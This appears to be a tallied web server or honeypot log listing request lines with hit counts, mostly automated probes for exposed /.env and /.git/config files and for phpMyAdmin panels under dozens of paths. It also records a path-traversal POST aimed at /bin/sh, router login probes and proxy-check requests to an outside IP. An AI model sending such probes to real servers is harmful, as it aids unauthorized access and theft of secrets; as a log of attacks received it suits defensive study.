1		MGLNDD_13.67.44.234_80
2		\x03
16		\x16\x03\x01
32	GET	/.env	HTTP/1.1
2	GET	/.git/config	HTTP/1.1
1	GET	/.well-known/security.txt	HTTP/1.1
1	GET	//.env	HTTP/1.1
1	GET	/0bef	HTTP/1.0
2	GET	/2phpmyadmin/index.php?lang=en	HTTP/1.1
3	GET	/MyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/PMA/index.php?lang=en	HTTP/1.1
3	GET	/__phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/_phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/_phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/admin/index.php?lang=en	HTTP/1.1
1	GET	/admin/phpMyAdmin/index.php?lang=en	HTTP/1.1
2	GET	/admin/pma/index.php?lang=en	HTTP/1.1
2	GET	/admin/sqladmin/index.php?lang=en	HTTP/1.1
2	GET	/admin/sysadmin/index.php?lang=en	HTTP/1.1
4	GET	/administrator/PMA/index.php?lang=en	HTTP/1.1
1	GET	/administrator/admin/index.php?lang=en	HTTP/1.1
2	GET	/administrator/db/index.php?lang=en	HTTP/1.1
2	GET	/administrator/phpMyAdmin/index.php?lang=en	HTTP/1.1
2	GET	/administrator/phpmyadmin/index.php?lang=en	HTTP/1.1
1	GET	/administrator/pma/index.php?lang=en	HTTP/1.1
1	GET	/administrator/web/index.php?lang=en	HTTP/1.1
1	GET	/database/index.php?lang=en	HTTP/1.1
1	GET	/db/dbadmin/index.php?lang=en	HTTP/1.1
1	GET	/db/dbweb/index.php?lang=en	HTTP/1.1
1	GET	/db/index.php?lang=en	HTTP/1.1
2	GET	/db/myadmin/index.php?lang=en	HTTP/1.1
3	GET	/db/phpMyAdmin-4/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/db/phpMyAdmin3/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/db/phpmyadmin5/index.php?lang=en	HTTP/1.1
3	GET	/db/websql/index.php?lang=en	HTTP/1.1
1	GET	/dbadmin/index.php?lang=en	HTTP/1.1
3	GET	/favicon.ico	HTTP/1.1
1	GET	/geoserver/web/	HTTP/1.1
2	GET	/index.php?lang=en	HTTP/1.1
2	GET	/myadmin/index.php?lang=en	HTTP/1.1
2	GET	/mysql/admin/index.php?lang=en	HTTP/1.1
1	GET	/mysql/db/index.php?lang=en	HTTP/1.1
1	GET	/mysql/index.php?lang=en	HTTP/1.1
1	GET	/mysql/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/pMA/index.php?lang=en	HTTP/1.1
1	GET	/mysql/pma/index.php?lang=en	HTTP/1.1
1	GET	/mysql/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/mysql/web/index.php?lang=en	HTTP/1.1
1	GET	/mysqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/php-my-admin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-3/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-4.9.7/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-4/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin-5.1.0/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.1.1/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin-5.1.3/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.2.0-all-languages/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-5.3.0/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin-latest-english/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin1/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin2/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin3/index.php?lang=en	HTTP/1.1
3	GET	/phpMyAdmin4/index.php?lang=en	HTTP/1.1
2	GET	/phpMyAdmin5.2/index.php?lang=en	HTTP/1.1
1	GET	/phpMyAdmin_/index.php?lang=en	HTTP/1.1
3	GET	/phpmy/index.php?lang=en	HTTP/1.1
1	GET	/phpmyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin2/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2011/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2012/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2013/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2014/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2015/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin2016/index.php?lang=en	HTTP/1.1
2	GET	/phpmyadmin2019/index.php?lang=en	HTTP/1.1
3	GET	/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/phpmyadmin_/index.php?lang=en	HTTP/1.1
1	GET	/phppma/index.php?lang=en	HTTP/1.1
1	GET	/pma/index.php?lang=en	HTTP/1.1
1	GET	/robots.txt	HTTP/1.1
1	GET	/shopdb/index.php?lang=en	HTTP/1.1
1	GET	/sitemap.xml	HTTP/1.1
1	GET	/sql/myadmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/php-myadmin/index.php?lang=en	HTTP/1.1
2	GET	/sql/phpMyAdmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmanager/index.php?lang=en	HTTP/1.1
2	GET	/sql/phpmyadmin3/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin4/index.php?lang=en	HTTP/1.1
1	GET	/sql/phpmyadmin5/index.php?lang=en	HTTP/1.1
1	GET	/sql/sql-admin/index.php?lang=en	HTTP/1.1
1	GET	/sql/sqlweb/index.php?lang=en	HTTP/1.1
2	GET	/sql/webadmin/index.php?lang=en	HTTP/1.1
1	GET	/sql/websql/index.php?lang=en	HTTP/1.1
1	GET	/sqlmanager/index.php?lang=en	HTTP/1.1
1	GET	/systembc/password.php	HTTP/1.0
1	GET	http[:]//5[.]188[.]210[.]227/echo.php	HTTP/1.1
1	GET	http[:]//httpbin[.]org/ip	HTTP/1.1
4	POST	/boaform/admin/formLogin	HTTP/1.1
1	POST	/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh	HTTP/1.1
1	PRI	*	HTTP/2.0